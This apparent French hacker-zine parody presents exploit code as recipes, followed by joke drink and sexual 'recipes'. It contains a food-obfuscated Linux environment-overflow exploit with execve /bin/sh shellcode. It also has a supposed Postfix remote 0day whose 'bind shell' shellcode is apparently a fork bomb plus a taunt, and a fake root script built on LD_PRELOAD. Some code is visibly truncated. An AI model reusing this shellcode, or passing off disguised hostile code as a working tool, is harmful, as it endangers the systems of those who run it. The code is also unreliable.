NoCooking issue 0x00, article 0x06 __ __ _ __ _ ____ _ _ _ __ _ \ \/ /_ __/ |/ \/ |__ | __| / |___ __| |/ \ __/ |_ _ __ _ > <| '_ \ | () | | / / / _` | (_- /* HowTo make a banasplit by the IHC Team * IHC Stands for Internationnal Handbook for Cooking - Cook Together * http://0xbadc0de.be/ihc * Greetz goes to : Maite, Jean Pierre Coffe * C0d3d by m1xs0up * COOKING IS NOT A CRIME */ #include #include #include #include typedef int liquid; typedef int vegetable; typedef int spice; typedef char *powder; #define BANANA "/////////////////////tmp/tmp" #define LEMON "/tmp/tmp.eng" #define ORANGE "/tmp/tmp.eng/tmp" #define KIWI "/tmp/tmp.eng/tmp/tmp.eng" #define getsoup getenv #define mixsoup setenv #define toast execve #define mix strcat #define clean bzero #define fill memset #define water malloc #define squeeze mkdir #define drink creat #define LOT_SUGAR (S_IRWXU|S_IRWXG|S_IRWXO) #define FREASH (O_WRONLY|O_CREAT|S_IRWXU|S_IRWXG|S_IRWXO) powder coconuts= "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x31\xc0\xb0\x17\x31\xdb\xcd\x80\x31\xc0" "\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62" "\x69\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0" "\x0b\xcd\x80" ; /*size :33 */ liquid tabasco; spice salt; extern powder *environ; powder prepare_bacon(){ powder soup=(powder)water((liquid)1200); spice pepper=0; vegetable zero=0; liquid tomato=getsoup("BANANA")+10; liquid zero2=0; vegetable carrot=getsoup("COCONUTS")+30; liquid litres=854 + tabasco; clean(soup,1200); fill(soup,'A',litres); for(pepper=0;pepper<2;pepper++) mix(soup,&tomato); for(pepper=0;pepper<11;pepper++) mix(soup,&carrot); for(pepper=0;pepper<4;pepper++) mix(soup,&tomato); for(pepper=0;pepper<1;pepper++) mix(soup,&carrot); for(pepper=0;pepper<3;pepper++) mix(soup,&tomato); for(pepper=0;pepper<24;pepper++) mix(soup,&carrot); for(pepper=0;pepper1) tabasco=atoi(ingredients[1]); if(spices>2) salt=atoi(ingredients[2]); if(spices>3) menu[0]=ingredients[3]; if(!getsoup("LINUXCONF_LANG")){ prepare_eggs(spices,ingredients); } mixsoup("LINUXCONF_LANG",prepare_bacon()); umask(0); squeeze(LEMON,LOT_SUGAR); squeeze(ORANGE,LOT_SUGAR); drink(KIWI,FREASH); toast(menu[0],menu,environ); return 0; } --[ ETpostfix Now a real 0dayz !!! It gave remote access on nearly every postfix servers !!! 31337 ! /* * Postfix 1.x Heap overflow * It was designed only against Linux x86 * c0d3d by Sl33m f4s7 */ #include #include #include #include #include #include #include #include #include #define STDOUT 1 #define STDERR 2 #define GREEN(s) "\033[32m" s "\033[0m" #define RED(s) "\033[31m" s "\033[0m" #define BLUE(s) "\033[34m" s "\033[0m" #define HEADER "\033[34m" "\t\t[ ETpostfix : smash postfix 1.x ]" "\033 [0m\n\n" char LEET_JUMP[] = "\xeb\x0appssssffff"; /* bind socket shellcode for linux x86. IDS-Safe */ char shellcode[] = "\x31\xC0\x40\x40\xCD\x80\xEB\xF8\x31\xC0\x31\xDB\x40\xCD\x80" "\x6D\x77\x61\x68\x61\x68\x61\x68\x2C\x20\x6A\x75\x73\x74\x20" "\x79\x6F\x75\x20\x73\x75\x63\x6B\x20\x6C\x61\x6D\x65\x72\x73" "\x20\x79\x6F\x75\x20\x67\x6F\x74\x20\x6F\x77\x6E\x65\x64\x20" "\x62\x79\x20\x61\x20\x73\x74\x75\x70\x69\x64\x20\x66\x61\x6B" "\x65\x20\x73\x70\x6C\x6F\x69\x74\x20\x21\x21\x21\x20\x44\x6F" "\x20\x79\x6F\x75\x20\x72\x65\x61\x6C\x6C\x79\x20\x74\x68\x6F" "\x75\x67\x68\x20\x77\x65\x20\x77\x65\x72\x65\x20\x67\x6F\x69" "\x6E\x67\x20\x74\x6F\x20\x67\x69\x76\x65\x20\x79\x6F\x75\x20" "\x70\x72\x69\x76\x38\x20\x30\x64\x61\x79\x7A\x2C\x20\x79\x6F" "\x75\x20\x6D\x75\x73\x74\x20\x6B\x69\x64\x64\x69\x6E\x67\x20" "\x21\x21\x21"; #define UEBER_DUMMY "\xfc\xff\xff\xff\xfc\xff\xff\xff" char* woody_ovf(char *shellcode){ char *buf; unsigned int addr; buf=(char*)malloc(273); if(!buf) return NULL; buf[272]=0; memset(buf,'B',272); memcpy(buf,shellcode,strlen(shellcode)); memcpy(buf+256,UEBER_DUMMY,8); addr=0x8049720; memcpy(buf+264,&addr,4); addr=0x80498a8; memcpy(buf+268,&addr,4); return buf; } char* redhat8_ovf(char *shellcode){ char *buf; unsigned int addr; buf=(char*)malloc(273); if(!buf) return NULL; buf[272]=0; memset(buf,'B',272); memcpy(buf,shellcode,strlen(shellcode)); memcpy(buf+256,UEBER_DUMMY,8); addr=0x8049840; memcpy(buf+264,&addr,4); addr=0x80498f4; memcpy(buf+268,&addr,4); return buf; } char* potato_ovf(char *shellcode){ char *buf; unsigned int addr; buf=(char*)malloc(145); if(!buf) return NULL; buf[144]=0; memset(buf,'B',144); memcpy(buf,shellcode,strlen(shellcode)); memcpy(buf+128,UEBER_DUMMY,8); addr=0x8049720; memcpy(buf+136,&addr,4); addr=0x80497a0; memcpy(buf+140,&addr,4); return buf; } char* redhat7_ovf(char *shellcode){ char *buf; unsigned int addr; buf=(char*)malloc(145); if(!buf) return NULL; buf[144]=0; memset(buf,'B',144); memcpy(buf,shellcode,strlen(shellcode)); memcpy(buf+128,UEBER_DUMMY,8); addr=0x8049810; memcpy(buf+136,&addr,4); addr=0x80498a4; memcpy(buf+140,&addr,4); return buf; } struct { char *target; char* (*fct)(); } targetlist[] = { {"Debian Woody x86",woody_ovf},{"Debian Potato x86",potato_ovf}, {"Redhat 8 x86",redhat8_ovf},{"Redhat 7.1 x86",redhat7_ovf}, {NULL,NULL} }; char* make_overflow(char *argv1){ char* (*fct)(char*); char sc[sizeof(LEET_JUMP)+sizeof(shellcode)+1]; int*s=(int*)sc; int i,j=atoi(argv1); fct=targetlist[j].fct; for(i=0;i3)?atoi(argv[3]):25); a.sin_family=AF_INET; fprintf(stderr,"[+] resolving %s...\t\t\t",argv[2]); h=gethostbyname(argv[2]); if(!h){ fprintf(stderr,RED("FAILED !\n")); perror("gethostbyname"); exit(-1); } fprintf(stderr,GREEN("OK\n")); a.sin_addr=*(struct in_addr*)h->h_addr; fprintf(stderr,"\t--> addr =\t\t\t\t"); fprintf(stderr,BLUE("%s\n"),inet_ntoa(a.sin_addr)); fprintf(stderr,"[+] connecting to SMTP server on port %d...\t",ntohs(a.sin_port) ); if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0){ fprintf(stderr,RED("FAILED !\n")); perror("socket"); exit(-1); } if(connect(s,(struct sockaddr*)(&a),sizeof(struct sockaddr_in))<0){ fprintf(stderr,RED("FAILED !\n")); perror("connect"); exit(-1); } fprintf(stderr,GREEN("OK\n")); fprintf(stderr,"[+] dialoging with ESMTP server\n"); fprintf(stderr,"\t--> writing HELO msg\t\t\t"); write(s,"HELO localhost\r\n",16); fprintf(stderr,GREEN("OK\n")); fprintf(stderr,"\t--> preparing overflow\t\t\t"); ovf=make_overflow(argv[1]); if(!ovf){ fprintf(stderr,RED("FAILED !\n")); exit(-1); } sprintf(buf,"HELP %s\r\n",ovf); fprintf(stderr,GREEN("OK\n")); fprintf(stderr,"\t--> sending overflow\t\t\t"); write(s,buf,strlen(buf)); fprintf(stderr,GREEN("OK\n")); close(s); fprintf(stderr,BLUE("\n\nNow you should just connect on port 8481 and enjoy :p\n ")); return 0; } ---[ ihc-lnx-blaster Yeah, this new sploit give euid=0 on every lnx box !!! just another 0dayz... Thx to m1xs0up #!/bin/sh # cet exploit attaque une vulnerabilité des variables d'environnement # sous linux # a utiliser avec precaution # ne pas distribuer !! # by m1xs0up # usage : # ihc@darkside$ ./exploit.sh # x - creating lock directory # x - extracting root.c (text) # ok programme installe # compilation ...fabrication de la chaine d'exploit ... ok # lancement de l'exploit... okenjoy your shell ! # sh-2.05b# id # uid=0(root) gid=0(root) egid=1000(ihc) groups=1000(ihc) # sh-2.05b# save_IFS="${IFS}" IFS="${IFS}:" gettext_dir=FAILED locale_dir=FAILED first_param="$1" for dir in $PATH do if test "$gettext_dir" = FAILED && test -f $dir/gettext \ && ($dir/gettext --version >/dev/null 2>&1) then set `$dir/gettext --version 2>&1` if test "$3" = GNU then gettext_dir=$dir fi fi if test "$locale_dir" = FAILED && test -f $dir/shar \ && ($dir/shar --print-text-domain-dir >/dev/null 2>&1) then locale_dir=`$dir/shar --print-text-domain-dir` fi done IFS="$save_IFS" if test "$locale_dir" = FAILED || test "$gettext_dir" = FAILED then echo=echo else TEXTDOMAINDIR=$locale_dir export TEXTDOMAINDIR TEXTDOMAIN=sharutils export TEXTDOMAIN echo="$gettext_dir/gettext -s" fi if touch -am -t 200112312359.59 $$.touch >/dev/null 2>&1 && test ! -f 200112312359.59 -a -f $$.touch; then shar_touch='touch -am -t $1$2$3$4$5$6.$7 "$8"' elif touch -am 123123592001.59 $$.touch >/dev/null 2>&1 && test ! -f 123123592001.59 -a ! -f 123123592001.5 -a -f $$.touch; then shar_touch='touch -am $3$4$5$6$1$2.$7 "$8"' elif touch -am 1231235901 $$.touch >/dev/null 2>&1 && test ! -f 1231235901 -a -f $$.touch; then shar_touch='touch -am $3$4$5$6$2 "$8"' else shar_touch=: echo $echo 'WARNING: not restoring timestamps. Consider getting and' $echo "installing GNU \`touch', distributed in GNU File Utilities..." echo fi rm -f 200112312359.59 123123592001.59 123123592001.5 1231235901 $$.touch # if mkdir _sh24061; then $echo 'x -' 'creating lock directory' else $echo 'failed to create lock directory' exit 1 fi # ============= root.c ============== if test -f 'root.c' && test "$first_param" != -c; then $echo 'x -' SKIPPING 'root.c' '(file already exists)' else $echo 'x -' extracting 'root.c' '(text)' sed 's/^X//' << 'SHAR_EOF' > 'root.c' && int getuid(){ X return 0; } int geteuid(){ X return 0; } int setuid(int n){ X return 0; } int seteuid(){ X return 0; } int getgid(){ X return 0; } SHAR_EOF (set 20 04 04 08 17 35 27 'root.c'; eval "$shar_touch") && chmod 0644 'root.c' || $echo 'restore of' 'root.c' 'failed' if ( md5sum --help 2>&1 | grep 'sage: md5sum \[' ) >/dev/null 2>&1 \ && ( md5sum --version 2>&1 | grep -v 'textutils 1.12' ) >/dev/null; then md5sum -c << SHAR_EOF >/dev/null 2>&1 \ || $echo 'root.c:' 'MD5 check failed' b991d4c688f60a44e077b3dd77fb1109 root.c SHAR_EOF else shar_count="`LC_ALL= LC_CTYPE= LANG= wc -c < 'root.c'`" test 142 -eq "$shar_count" || $echo 'root.c:' 'original size' '142,' 'current size' "$shar_count!" fi fi rm -fr _sh24061 echo "ok programme installe" echo -n "compilation ..." gcc -o root.so -shared root.c || (echo "foirage" ; exit 0) echo -n "fabrication de la chaine d'exploit ... " export LD_PRELOAD=./root.so echo "ok" echo -n "lancement de l'exploit... " sleep 1 echo -n "ok" echo "enjoy your shell !" /bin/sh rm -f root.c root.so ---[ 1337 2oo% alc0h0l c0ckT4iL The last but not the least, a real cool 0dayz from k4rL0s. 1337 2oo% alc0h0l c0ckT4iL Y0! alor today on va parlé 1 peu de métage de tronche parcke pour ètre un bon h4ck3r (je mé dé numérau pour passé lé filtrage 2 la DST ke certain apele NSA ou mème SNCF) il fo savoir boir po mal pour resté toute lé nuis devan le laptop a routé dé serveur. La recète d'ojourdui cé le 1337 2oo% alc0h0l c0ckT4iL, ca fé super mal o ventre la première foi mé apré on s'y abitu. Alor dabor lé ingrédien: 0x00000001 biberon de bébé (hijacké celui a votr petit soeur) 0x00001337 cl 2 vodka 0x0BADC0DE g 2 rhum 0xDEADBEEF m.s-1 2 coK 0x1337C0DE F 2 jin 0x69696969 N 2 wisky lé 0x sa ve dire ke c en hexadecimal, c avec 2 la base 16, avec dé lettre ke en fait c dé chifres Pour 7 recète on va commencé par mettre du coca dans le biberon, et apré le wisky, comme ca on a du wisky Coca. La fo melangé, et pui fair chofé au micro onde pdt 1337 seconde, é apré vou le sorté é vou mélangé bien for. Now on va add le jin é le rhum en mème temps, pour ke sa done un méyeur gou. Oublié po 2 bien mélangé a mesure ke vous versé pour ke sa se mélanje mieu. Kan vou avé terminé, mété o congélateur jusK se ke sa devienne 1 glasson. Vou fète chofé la vokda o four termosta 5 pdt 3 minutes (demandé a votre maman si vou savé po fer marché le four) et fète trempé le glasson dedans jusK se ki fonde. Versé tou dan le biberon, é vous pouvé consomé (avec la tétine cé mieu) Cé assé for mé avec sa g hacké mon colège ct tro easy. O proch1 numéro je vou explikeré coment on fé lé piza o couscous é a la mente J'espére ke vous avé émé ma re7, é ke ca vou a apri dé choze. Dézolé pr lé fotes d'ortografe mé g po le tps 2 corrigé g 1 lameur ki ve me hacké, fo ke je me vanje. k4rL0s, le cuisigné ruzé ---[ Last Minute Oui, on a pecho un 0dayz de m41t3 donc le voila : Gâteau d'Amour Ingrédients : -Un lit chaud -2 corps différents (préalablement lavé) -500 grammes de caresses (ou plus) -50 grammes de baisers (ou plus) -1 bananes pas trop mure -2 kiwis -2 pamplemousses (grosseur à volonté) -1 four préchauffé à feux doux Préparation : -Introduire les 2 corps dans un lit chaud avec 50 grammes ou plus de baisers -Enduire la surface des corps avec 500 grammes ou plus de caresses (en ajouter si pas assez sucré) -Couvrir ces memes corps, en particulier la bananes jusqu'à saturation (attention; ne pas faire de blanc en neige) avec la banane! -Agitez, avec ménagement, les 2 pamplemousses, les faire dorer très légèrement sans les faire rougir -Mettre la banane, préalablement chauffé, du bout des doigts dans le four à température ambiante. Essentiel : laisser les 2 kiwis non pelées à l'extérieur -Manoeuvrer la banane très délicatement en va et vient. La sortir de temps à autre et la retourner, afin de contrôler la cuisson : ceci afin qu'elle ne perdent pas son jus. -Extraire le jus de la banane, qui lui, doit rester dans le four. Retirer celle-ci avec légèreté. -Pour achever le gâteau, laissez macérer dans les mains ou essuyer le surplus avec la langue, ceci étant laisser le choix à la cuisinière. -Laissez refroidir. -Démouler 9 mois après. Ne pas omettre de recommencer fréquemment la recette afin d'en savourer chaque fois davantage le gout. Transférer cette délicieuse recette à aux moins 7 de vos contacts sinon jamais vous ne réeusirez à faire ce GÂTEAU D'AMOUR.